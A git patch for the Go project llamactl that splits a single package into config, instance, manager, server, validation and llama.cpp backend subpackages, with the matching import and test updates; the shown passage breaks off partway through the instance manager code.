From 6a7a9a2d095aa4319d1ead3ba8e96b6336596c20 Mon Sep 17 00:00:00 2001 From: LordMathis Date: Mon, 4 Aug 2025 19:23:56 +0200 Subject: [PATCH 1/4] Split large package into subpackages --- cmd/server/main.go | 26 +-- pkg/{ => backends/llamacpp}/llama.go | 2 +- pkg/{ => backends/llamacpp}/llama_test.go | 45 +++-- pkg/{ => config}/config.go | 2 +- pkg/{ => config}/config_test.go | 31 ++-- pkg/{ => instance}/instance.go | 12 +- pkg/{ => instance}/instance_test.go | 126 ++++++------- pkg/{ => instance}/lifecycle.go | 2 +- pkg/{ => instance}/logging.go | 2 +- pkg/{ => instance}/process_group_unix.go | 2 +- pkg/{ => instance}/process_group_windows.go | 2 +- pkg/{ => manager}/manager.go | 115 ++++++------ pkg/{ => manager}/manager_test.go | 190 ++++++++++---------- pkg/{ => server}/handlers.go | 65 +++---- pkg/{ => server}/middleware.go | 17 +- pkg/{ => server}/middleware_test.go | 74 ++++---- pkg/{ => server}/openai.go | 2 +- pkg/{ => server}/routes.go | 12 +- pkg/testutil/helpers.go | 10 ++ pkg/{ => validation}/validation.go | 5 +- pkg/{ => validation}/validation_test.go | 67 ++++--- 21 files changed, 413 insertions(+), 396 deletions(-) rename pkg/{ => backends/llamacpp}/llama.go (99%) rename pkg/{ => backends/llamacpp}/llama_test.go (90%) rename pkg/{ => config}/config.go (99%) rename pkg/{ => config}/config_test.go (91%) rename pkg/{ => instance}/instance.go (96%) rename pkg/{ => instance}/instance_test.go (75%) rename pkg/{ => instance}/lifecycle.go (99%) rename pkg/{ => instance}/logging.go (99%) rename pkg/{ => instance}/process_group_unix.go (92%) rename pkg/{ => instance}/process_group_windows.go (85%) rename pkg/{ => manager}/manager.go (77%) rename pkg/{ => manager}/manager_test.go (82%) rename pkg/{ => server}/handlers.go (91%) rename pkg/{ => server}/middleware.go (91%) rename pkg/{ => server}/middleware_test.go (81%) rename pkg/{ => server}/openai.go (94%) rename pkg/{ => server}/routes.go (89%) create mode 100644 pkg/testutil/helpers.go rename pkg/{ => validation}/validation.go (96%) rename pkg/{ => validation}/validation_test.go (82%) diff --git a/cmd/server/main.go b/cmd/server/main.go index 185a4aa..6ede011 100644 --- a/cmd/server/main.go +++ b/cmd/server/main.go @@ -2,7 +2,9 @@ package main import ( "fmt" - llamactl "llamactl/pkg" + "llamactl/pkg/config" + "llamactl/pkg/manager" + "llamactl/pkg/server" "net/http" "os" "os/signal" @@ -18,45 +20,45 @@ import ( func main() { configPath := os.Getenv("LLAMACTL_CONFIG_PATH") - config, err := llamactl.LoadConfig(configPath) + cfg, err := config.LoadConfig(configPath) if err != nil { fmt.Printf("Error loading config: %v\n", err) fmt.Println("Using default configuration.") } // Create the data directory if it doesn't exist - if config.Instances.AutoCreateDirs { - if err := os.MkdirAll(config.Instances.InstancesDir, 0755); err != nil { - fmt.Printf("Error creating config directory %s: %v\n", config.Instances.InstancesDir, err) + if cfg.Instances.AutoCreateDirs { + if err := os.MkdirAll(cfg.Instances.InstancesDir, 0755); err != nil { + fmt.Printf("Error creating config directory %s: %v\n", cfg.Instances.InstancesDir, err) fmt.Println("Persistence will not be available.") } - if err := os.MkdirAll(config.Instances.LogsDir, 0755); err != nil { - fmt.Printf("Error creating log directory %s: %v\n", config.Instances.LogsDir, err) + if err := os.MkdirAll(cfg.Instances.LogsDir, 0755); err != nil { + fmt.Printf("Error creating log directory %s: %v\n", cfg.Instances.LogsDir, err) fmt.Println("Instance logs will not be available.") } } // Initialize the instance manager - instanceManager := llamactl.NewInstanceManager(config.Instances) + instanceManager := manager.NewInstanceManager(cfg.Instances) // Create a new handler with the instance manager - handler := llamactl.NewHandler(instanceManager, config) + handler := server.NewHandler(instanceManager, cfg) // Setup the router with the handler - r := llamactl.SetupRouter(handler) + r := server.SetupRouter(handler) // Handle graceful shutdown stop := make(chan os.Signal, 1) signal.Notify(stop, os.Interrupt, syscall.SIGTERM) server := http.Server{ - Addr: fmt.Sprintf("%s:%d", config.Server.Host, config.Server.Port), + Addr: fmt.Sprintf("%s:%d", cfg.Server.Host, cfg.Server.Port), Handler: r, } go func() { - fmt.Printf("Llamactl server listening on %s:%d\n", config.Server.Host, config.Server.Port) + fmt.Printf("Llamactl server listening on %s:%d\n", cfg.Server.Host, cfg.Server.Port) if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { fmt.Printf("Error starting server: %v\n", err) } diff --git a/pkg/llama.go b/pkg/backends/llamacpp/llama.go similarity index 99% rename from pkg/llama.go rename to pkg/backends/llamacpp/llama.go index 4180f73..d4b5709 100644 --- a/pkg/llama.go +++ b/pkg/backends/llamacpp/llama.go @@ -1,4 +1,4 @@ -package llamactl +package llamacpp import ( "encoding/json" diff --git a/pkg/llama_test.go b/pkg/backends/llamacpp/llama_test.go similarity index 90% rename from pkg/llama_test.go rename to pkg/backends/llamacpp/llama_test.go index 54cbebe..239703b 100644 --- a/pkg/llama_test.go +++ b/pkg/backends/llamacpp/llama_test.go @@ -1,17 +1,16 @@ -package llamactl_test +package llamacpp_test import ( "encoding/json" "fmt" + "llamactl/pkg/backends/llamacpp" "reflect" "slices" "testing" - - llamactl "llamactl/pkg" ) func TestBuildCommandArgs_BasicFields(t *testing.T) { - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, Host: "localhost", @@ -46,27 +45,27 @@ func TestBuildCommandArgs_BasicFields(t *testing.T) { func TestBuildCommandArgs_BooleanFields(t *testing.T) { tests := []struct { name string - options llamactl.LlamaServerOptions + options llamacpp.LlamaServerOptions expected []string excluded []string }{ { name: "verbose true", - options: llamactl.LlamaServerOptions{ + options: llamacpp.LlamaServerOptions{ Verbose: true, }, expected: []string{"--verbose"}, }, { name: "verbose false", - options: llamactl.LlamaServerOptions{ + options: llamacpp.LlamaServerOptions{ Verbose: false, }, excluded: []string{"--verbose"}, }, { name: "multiple booleans", - options: llamactl.LlamaServerOptions{ + options: llamacpp.LlamaServerOptions{ Verbose: true, FlashAttn: true, Mlock: false, @@ -97,7 +96,7 @@ func TestBuildCommandArgs_BooleanFields(t *testing.T) { } func TestBuildCommandArgs_NumericFields(t *testing.T) { - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ Port: 8080, Threads: 4, CtxSize: 2048, @@ -127,7 +126,7 @@ func TestBuildCommandArgs_NumericFields(t *testing.T) { } func TestBuildCommandArgs_ZeroValues(t *testing.T) { - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ Port: 0, // Should be excluded Threads: 0, // Should be excluded Temperature: 0, // Should be excluded @@ -154,7 +153,7 @@ func TestBuildCommandArgs_ZeroValues(t *testing.T) { } func TestBuildCommandArgs_ArrayFields(t *testing.T) { - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ Lora: []string{"adapter1.bin", "adapter2.bin"}, OverrideTensor: []string{"tensor1", "tensor2", "tensor3"}, DrySequenceBreaker: []string{".", "!", "?"}, @@ -179,7 +178,7 @@ func TestBuildCommandArgs_ArrayFields(t *testing.T) { } func TestBuildCommandArgs_EmptyArrays(t *testing.T) { - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ Lora: []string{}, // Empty array should not generate args OverrideTensor: []string{}, // Empty array should not generate args } @@ -196,7 +195,7 @@ func TestBuildCommandArgs_EmptyArrays(t *testing.T) { func TestBuildCommandArgs_FieldNameConversion(t *testing.T) { // Test snake_case to kebab-case conversion - options := llamactl.LlamaServerOptions{ + options := llamacpp.LlamaServerOptions{ CtxSize: 4096, GPULayers: 32, ThreadsBatch: 2, @@ -235,7 +234,7 @@ func TestUnmarshalJSON_StandardFields(t *testing.T) { "temperature": 0.7 }` - var options llamactl.LlamaServerOptions + var options llamacpp.LlamaServerOptions err := json.Unmarshal([]byte(jsonData), &options) if err != nil { t.Fatalf("Unmarshal failed: %v", err) @@ -268,12 +267,12 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { tests := []struct { name string jsonData string - checkFn func(llamactl.LlamaServerOptions) error + checkFn func(llamacpp.LlamaServerOptions) error }{ { name: "threads alternatives", jsonData: `{"t": 4, "tb": 2}`, - checkFn: func(opts llamactl.LlamaServerOptions) error { + checkFn: func(opts llamacpp.LlamaServerOptions) error { if opts.Threads != 4 { return fmt.Errorf("expected threads 4, got %d", opts.Threads) } @@ -286,7 +285,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { { name: "context size alternatives", jsonData: `{"c": 2048}`, - checkFn: func(opts llamactl.LlamaServerOptions) error { + checkFn: func(opts llamacpp.LlamaServerOptions) error { if opts.CtxSize != 2048 { return fmt.Errorf("expected ctx_size 4096, got %d", opts.CtxSize) } @@ -296,7 +295,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { { name: "gpu layers alternatives", jsonData: `{"ngl": 16}`, - checkFn: func(opts llamactl.LlamaServerOptions) error { + checkFn: func(opts llamacpp.LlamaServerOptions) error { if opts.GPULayers != 16 { return fmt.Errorf("expected gpu_layers 32, got %d", opts.GPULayers) } @@ -306,7 +305,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { { name: "model alternatives", jsonData: `{"m": "/path/model.gguf"}`, - checkFn: func(opts llamactl.LlamaServerOptions) error { + checkFn: func(opts llamacpp.LlamaServerOptions) error { if opts.Model != "/path/model.gguf" { return fmt.Errorf("expected model '/path/model.gguf', got %q", opts.Model) } @@ -316,7 +315,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { { name: "temperature alternatives", jsonData: `{"temp": 0.8}`, - checkFn: func(opts llamactl.LlamaServerOptions) error { + checkFn: func(opts llamacpp.LlamaServerOptions) error { if opts.Temperature != 0.8 { return fmt.Errorf("expected temperature 0.8, got %f", opts.Temperature) } @@ -327,7 +326,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - var options llamactl.LlamaServerOptions + var options llamacpp.LlamaServerOptions err := json.Unmarshal([]byte(tt.jsonData), &options) if err != nil { t.Fatalf("Unmarshal failed: %v", err) @@ -343,7 +342,7 @@ func TestUnmarshalJSON_AlternativeFieldNames(t *testing.T) { func TestUnmarshalJSON_InvalidJSON(t *testing.T) { invalidJSON := `{"port": "not-a-number", "invalid": syntax}` - var options llamactl.LlamaServerOptions + var options llamacpp.LlamaServerOptions err := json.Unmarshal([]byte(invalidJSON), &options) if err == nil { t.Error("Expected error for invalid JSON") @@ -357,7 +356,7 @@ func TestUnmarshalJSON_ArrayFields(t *testing.T) { "dry_sequence_breaker": [".", "!", "?"] }` - var options llamactl.LlamaServerOptions + var options llamacpp.LlamaServerOptions err := json.Unmarshal([]byte(jsonData), &options) if err != nil { t.Fatalf("Unmarshal failed: %v", err) diff --git a/pkg/config.go b/pkg/config/config.go similarity index 99% rename from pkg/config.go rename to pkg/config/config.go index 0c4fb18..21eebfc 100644 --- a/pkg/config.go +++ b/pkg/config/config.go @@ -1,4 +1,4 @@ -package llamactl +package config import ( "os" diff --git a/pkg/config_test.go b/pkg/config/config_test.go similarity index 91% rename from pkg/config_test.go rename to pkg/config/config_test.go index 4fd2bdd..41f0413 100644 --- a/pkg/config_test.go +++ b/pkg/config/config_test.go @@ -1,16 +1,15 @@ -package llamactl_test +package config_test import ( + "llamactl/pkg/config" "os" "path/filepath" "testing" - - llamactl "llamactl/pkg" ) func TestLoadConfig_Defaults(t *testing.T) { // Test loading config when no file exists and no env vars set - cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") + cfg, err := config.LoadConfig("nonexistent-file.yaml") if err != nil { t.Fatalf("LoadConfig should not error with defaults: %v", err) } @@ -81,7 +80,7 @@ instances: t.Fatalf("Failed to write test config file: %v", err) } - cfg, err := llamactl.LoadConfig(configFile) + cfg, err := config.LoadConfig(configFile) if err != nil { t.Fatalf("LoadConfig failed: %v", err) } @@ -136,7 +135,7 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) { defer os.Unsetenv(key) } - cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") + cfg, err := config.LoadConfig("nonexistent-file.yaml") if err != nil { t.Fatalf("LoadConfig failed: %v", err) } @@ -195,7 +194,7 @@ instances: defer os.Unsetenv("LLAMACTL_HOST") defer os.Unsetenv("LLAMACTL_MAX_INSTANCES") - cfg, err := llamactl.LoadConfig(configFile) + cfg, err := config.LoadConfig(configFile) if err != nil { t.Fatalf("LoadConfig failed: %v", err) } @@ -231,7 +230,7 @@ instances: t.Fatalf("Failed to write test config file: %v", err) } - _, err = llamactl.LoadConfig(configFile) + _, err = config.LoadConfig(configFile) if err == nil { t.Error("Expected LoadConfig to return error for invalid YAML") } @@ -257,7 +256,7 @@ func TestParsePortRange(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - result := llamactl.ParsePortRange(tt.input) + result := config.ParsePortRange(tt.input) if result != tt.expected { t.Errorf("ParsePortRange(%q) = %v, expected %v", tt.input, result, tt.expected) } @@ -272,31 +271,31 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) { testCases := []struct { envVar string envValue string - checkFn func(*llamactl.Config) bool + checkFn func(*config.Config) bool desc string }{ { envVar: "LLAMACTL_PORT", envValue: "invalid-port", - checkFn: func(c *llamactl.Config) bool { return c.Server.Port == 8080 }, // Should keep default + checkFn: func(c *config.Config) bool { return c.Server.Port == 8080 }, // Should keep default desc: "invalid port number should keep default", }, { envVar: "LLAMACTL_MAX_INSTANCES", envValue: "not-a-number", - checkFn: func(c *llamactl.Config) bool { return c.Instances.MaxInstances == -1 }, // Should keep default + checkFn: func(c *config.Config) bool { return c.Instances.MaxInstances == -1 }, // Should keep default desc: "invalid max instances should keep default", }, { envVar: "LLAMACTL_DEFAULT_AUTO_RESTART", envValue: "invalid-bool", - checkFn: func(c *llamactl.Config) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default + checkFn: func(c *config.Config) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default desc: "invalid boolean should keep default", }, { envVar: "LLAMACTL_INSTANCE_PORT_RANGE", envValue: "invalid-range", - checkFn: func(c *llamactl.Config) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default + checkFn: func(c *config.Config) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default desc: "invalid port range should keep default", }, } @@ -306,7 +305,7 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) { os.Setenv(tc.envVar, tc.envValue) defer os.Unsetenv(tc.envVar) - cfg, err := llamactl.LoadConfig("nonexistent-file.yaml") + cfg, err := config.LoadConfig("nonexistent-file.yaml") if err != nil { t.Fatalf("LoadConfig failed: %v", err) } @@ -335,7 +334,7 @@ server: t.Fatalf("Failed to write test config file: %v", err) } - cfg, err := llamactl.LoadConfig(configFile) + cfg, err := config.LoadConfig(configFile) if err != nil { t.Fatalf("LoadConfig failed: %v", err) } diff --git a/pkg/instance.go b/pkg/instance/instance.go similarity index 96% rename from pkg/instance.go rename to pkg/instance/instance.go index 530dfae..02969d9 100644 --- a/pkg/instance.go +++ b/pkg/instance/instance.go @@ -1,10 +1,12 @@ -package llamactl +package instance import ( "context" "encoding/json" "fmt" "io" + "llamactl/pkg/backends/llamacpp" + "llamactl/pkg/config" "log" "net/http" "net/http/httputil" @@ -21,7 +23,7 @@ type CreateInstanceOptions struct { // RestartDelay duration in seconds RestartDelay *int `json:"restart_delay_seconds,omitempty"` - LlamaServerOptions `json:",inline"` + llamacpp.LlamaServerOptions `json:",inline"` } // UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions @@ -57,7 +59,7 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error { type Instance struct { Name string `json:"name"` options *CreateInstanceOptions `json:"-"` - globalSettings *InstancesConfig + globalSettings *config.InstancesConfig // Status Running bool `json:"running"` @@ -121,7 +123,7 @@ func validateAndCopyOptions(name string, options *CreateInstanceOptions) *Create } // applyDefaultOptions applies default values from global settings to any nil options -func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *InstancesConfig) { +func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config.InstancesConfig) { if globalSettings == nil { return } @@ -143,7 +145,7 @@ func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *Instanc } // NewInstance creates a new instance with the given name, log path, and options -func NewInstance(name string, globalSettings *InstancesConfig, options *CreateInstanceOptions) *Instance { +func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Instance { // Validate and copy options optionsCopy := validateAndCopyOptions(name, options) // Apply defaults diff --git a/pkg/instance_test.go b/pkg/instance/instance_test.go similarity index 75% rename from pkg/instance_test.go rename to pkg/instance/instance_test.go index 3645a12..dadcf89 100644 --- a/pkg/instance_test.go +++ b/pkg/instance/instance_test.go @@ -1,28 +1,30 @@ -package llamactl_test +package instance_test import ( "encoding/json" + "llamactl/pkg/backends/llamacpp" + "llamactl/pkg/config" + "llamactl/pkg/instance" + "llamactl/pkg/testutil" "testing" - - llamactl "llamactl/pkg" ) func TestNewInstance(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, DefaultRestartDelay: 5, } - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + instance := instance.NewInstance("test-instance", globalSettings, options) if instance.Name != "test-instance" { t.Errorf("Expected name 'test-instance', got %q", instance.Name) @@ -53,7 +55,7 @@ func TestNewInstance(t *testing.T) { } func TestNewInstance_WithRestartOptions(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, @@ -65,16 +67,16 @@ func TestNewInstance_WithRestartOptions(t *testing.T) { maxRestarts := 10 restartDelay := 15 - options := &llamactl.CreateInstanceOptions{ + options := &instance.CreateInstanceOptions{ AutoRestart: &autoRestart, MaxRestarts: &maxRestarts, RestartDelay: &restartDelay, - LlamaServerOptions: llamactl.LlamaServerOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + instance := instance.NewInstance("test-instance", globalSettings, options) opts := instance.GetOptions() // Check that explicit values override defaults @@ -90,7 +92,7 @@ func TestNewInstance_WithRestartOptions(t *testing.T) { } func TestNewInstance_ValidationAndDefaults(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, @@ -101,15 +103,15 @@ func TestNewInstance_ValidationAndDefaults(t *testing.T) { invalidMaxRestarts := -5 invalidRestartDelay := -10 - options := &llamactl.CreateInstanceOptions{ + options := &instance.CreateInstanceOptions{ MaxRestarts: &invalidMaxRestarts, RestartDelay: &invalidRestartDelay, - LlamaServerOptions: llamactl.LlamaServerOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + instance := instance.NewInstance("test-instance", globalSettings, options) opts := instance.GetOptions() // Check that negative values were corrected to 0 @@ -122,32 +124,32 @@ func TestNewInstance_ValidationAndDefaults(t *testing.T) { } func TestSetOptions(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, DefaultRestartDelay: 5, } - initialOptions := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + initialOptions := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, } - instance := llamactl.NewInstance("test-instance", globalSettings, initialOptions) + inst := instance.NewInstance("test-instance", globalSettings, initialOptions) // Update options - newOptions := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + newOptions := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/new-model.gguf", Port: 8081, }, } - instance.SetOptions(newOptions) - opts := instance.GetOptions() + inst.SetOptions(newOptions) + opts := inst.GetOptions() if opts.Model != "/path/to/new-model.gguf" { t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model) @@ -163,20 +165,20 @@ func TestSetOptions(t *testing.T) { } func TestSetOptions_NilOptions(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, DefaultRestartDelay: 5, } - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + instance := instance.NewInstance("test-instance", globalSettings, options) originalOptions := instance.GetOptions() // Try to set nil options @@ -190,21 +192,21 @@ func TestSetOptions_NilOptions(t *testing.T) { } func TestGetProxy(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", } - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Host: "localhost", Port: 8080, }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + inst := instance.NewInstance("test-instance", globalSettings, options) // Get proxy for the first time - proxy1, err := instance.GetProxy() + proxy1, err := inst.GetProxy() if err != nil { t.Fatalf("GetProxy failed: %v", err) } @@ -213,7 +215,7 @@ func TestGetProxy(t *testing.T) { } // Get proxy again - should return cached version - proxy2, err := instance.GetProxy() + proxy2, err := inst.GetProxy() if err != nil { t.Fatalf("GetProxy failed: %v", err) } @@ -223,21 +225,21 @@ func TestGetProxy(t *testing.T) { } func TestMarshalJSON(t *testing.T) { - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", DefaultAutoRestart: true, DefaultMaxRestarts: 3, DefaultRestartDelay: 5, } - options := &llamactl.CreateInstanceOptions{ - LlamaServerOptions: llamactl.LlamaServerOptions{ + options := &instance.CreateInstanceOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", Port: 8080, }, } - instance := llamactl.NewInstance("test-instance", globalSettings, options) + instance := instance.NewInstance("test-instance", globalSettings, options) data, err := json.Marshal(instance) if err != nil { @@ -284,20 +286,20 @@ func TestUnmarshalJSON(t *testing.T) { } }` - var instance llamactl.Instance - err := json.Unmarshal([]byte(jsonData), &instance) + var inst instance.Instance + err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) } - if instance.Name != "test-instance" { - t.Errorf("Expected name 'test-instance', got %q", instance.Name) + if inst.Name != "test-instance" { + t.Errorf("Expected name 'test-instance', got %q", inst.Name) } - if !instance.Running { + if !inst.Running { t.Error("Expected running to be true") } - opts := instance.GetOptions() + opts := inst.GetOptions() if opts == nil { t.Fatal("Expected options to be set") } @@ -324,13 +326,13 @@ func TestUnmarshalJSON_PartialOptions(t *testing.T) { } }` - var instance llamactl.Instance - err := json.Unmarshal([]byte(jsonData), &instance) + var inst instance.Instance + err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) } - opts := instance.GetOptions() + opts := inst.GetOptions() if opts.Model != "/path/to/model.gguf" { t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model) } @@ -348,20 +350,20 @@ func TestUnmarshalJSON_NoOptions(t *testing.T) { "running": false }` - var instance llamactl.Instance - err := json.Unmarshal([]byte(jsonData), &instance) + var inst instance.Instance + err := json.Unmarshal([]byte(jsonData), &inst) if err != nil { t.Fatalf("JSON unmarshal failed: %v", err) } - if instance.Name != "test-instance" { - t.Errorf("Expected name 'test-instance', got %q", instance.Name) + if inst.Name != "test-instance" { + t.Errorf("Expected name 'test-instance', got %q", inst.Name) } - if instance.Running { + if inst.Running { t.Error("Expected running to be false") } - opts := instance.GetOptions() + opts := inst.GetOptions() if opts != nil { t.Error("Expected options to be nil when not provided in JSON") } @@ -384,42 +386,42 @@ func TestCreateInstanceOptionsValidation(t *testing.T) { }, { name: "valid positive values", - maxRestarts: intPtr(10), - restartDelay: intPtr(30), + maxRestarts: testutil.IntPtr(10), + restartDelay: testutil.IntPtr(30), expectedMax: 10, expectedDelay: 30, }, { name: "zero values", - maxRestarts: intPtr(0), - restartDelay: intPtr(0), + maxRestarts: testutil.IntPtr(0), + restartDelay: testutil.IntPtr(0), expectedMax: 0, expectedDelay: 0, }, { name: "negative values should be corrected", - maxRestarts: intPtr(-5), - restartDelay: intPtr(-10), + maxRestarts: testutil.IntPtr(-5), + restartDelay: testutil.IntPtr(-10), expectedMax: 0, expectedDelay: 0, }, } - globalSettings := &llamactl.InstancesConfig{ + globalSettings := &config.InstancesConfig{ LogsDir: "/tmp/test", } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - options := &llamactl.CreateInstanceOptions{ + options := &instance.CreateInstanceOptions{ MaxRestarts: tt.maxRestarts, RestartDelay: tt.restartDelay, - LlamaServerOptions: llamactl.LlamaServerOptions{ + LlamaServerOptions: llamacpp.LlamaServerOptions{ Model: "/path/to/model.gguf", }, } - instance := llamactl.NewInstance("test", globalSettings, options) + instance := instance.NewInstance("test", globalSettings, options) opts := instance.GetOptions() if tt.maxRestarts != nil { diff --git a/pkg/lifecycle.go b/pkg/instance/lifecycle.go similarity index 99% rename from pkg/lifecycle.go rename to pkg/instance/lifecycle.go index ba4fbb1..365a682 100644 --- a/pkg/lifecycle.go +++ b/pkg/instance/lifecycle.go @@ -1,4 +1,4 @@ -package llamactl +package instance import ( "context" diff --git a/pkg/logging.go b/pkg/instance/logging.go similarity index 99% rename from pkg/logging.go rename to pkg/instance/logging.go index efb8da2..4360e7b 100644 --- a/pkg/logging.go +++ b/pkg/instance/logging.go @@ -1,4 +1,4 @@ -package llamactl +package instance import ( "bufio" diff --git a/pkg/process_group_unix.go b/pkg/instance/process_group_unix.go similarity index 92% rename from pkg/process_group_unix.go rename to pkg/instance/process_group_unix.go index 9001702..2da14a4 100644 --- a/pkg/process_group_unix.go +++ b/pkg/instance/process_group_unix.go @@ -1,6 +1,6 @@ //go:build !windows -package llamactl +package instance import ( "os/exec" diff --git a/pkg/process_group_windows.go b/pkg/instance/process_group_windows.go similarity index 85% rename from pkg/process_group_windows.go rename to pkg/instance/process_group_windows.go index 6aedbd8..b50998d 100644 --- a/pkg/process_group_windows.go +++ b/pkg/instance/process_group_windows.go @@ -1,6 +1,6 @@ //go:build windows -package llamactl +package instance import "os/exec" diff --git a/pkg/manager.go b/pkg/manager/manager.go similarity index 77% rename from pkg/manager.go rename to pkg/manager/manager.go index dda6bde..48469b7 100644 --- a/pkg/manager.go +++ b/pkg/manager/manager.go @@ -1,8 +1,11 @@ -package llamactl +package manager import ( "encoding/json" "fmt" + "llamactl/pkg/config" + "llamactl/pkg/instance" + "llamactl/pkg/validation" "log" "os" "path/filepath" @@ -12,29 +15,29 @@ import ( // InstanceManager defines the interface for managing instances of the llama server. type InstanceManager interface { - ListInstances() ([]*Instance, error) - CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error) - GetInstance(name string) (*Instance, error) - UpdateInstance(name string, options *CreateInstanceOptions) (*Instance, error) + ListInstances() ([]*instance.Instance, error) + CreateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) + GetInstance(name string) (*instance.Instance, error) + UpdateInstance(name string, options *instance.CreateInstanceOptions) (*instance.Instance, error) DeleteInstance(name string) error - StartInstance(name string) (*Instance, error) - StopInstance(name string) (*Instance, error) - RestartInstance(name string) (*Instance, error) + StartInstance(name string) (*instance.Instance, error) + StopInstance(name string) (*instance.Instance, error) + RestartInstance(name string) (*instance.Instance, error) GetInstanceLogs(name string) (string, error) Shutdown() } type instanceManager struct { mu sync.RWMutex - instances map[string]*Instance + instances map[string]*instance.Instance ports map[int]bool - instancesConfig InstancesConfig + instancesConfig config.InstancesConfig } // NewInstanceManager creates a new instance of InstanceManager. -func NewInstanceManager(instancesConfig InstancesConfig) InstanceManager { +func NewInstanceManager(instancesConfig config.InstancesConfig) InstanceManager { im := &instanceManager{ - instances: make(map[string]*Instance), + instances: make(map[string]*instance.Instance), ports: make(map[int]bool), instancesConfig: instancesConfig, } @@ -47,20 +50,20 @@ func NewInstanceManager(instancesConfig InstancesConfig) InstanceManager { } // ListInstances returns a list of all instances managed by the instance manager. -func (im *instanceManager) ListInstances() ([]*Instance, error) { +func (im *instanceManager) ListInstances() ([]*instance.Instance, error) { im.mu.RLock() defer im.mu.RUnlock() - instances := make([]*Instance, 0, len(im.instances)) - for _, instance := range im.instances { - instances = append(instances, instance) + instances := make([]*instance.Instance, 0, len(im.instances)) + for _, inst := range im.instances { + instances = append(instances, inst) } return instances, nil } // CreateInstance creates a new instance with the given options and returns it. // The instance is initially in a "stopped" state. -func (im *instanceManager) CreateInstance(name string, options *CreateInstanceOptions) (*Instance, error) { +func (im *instanceManager) CreateInstance(name string, options 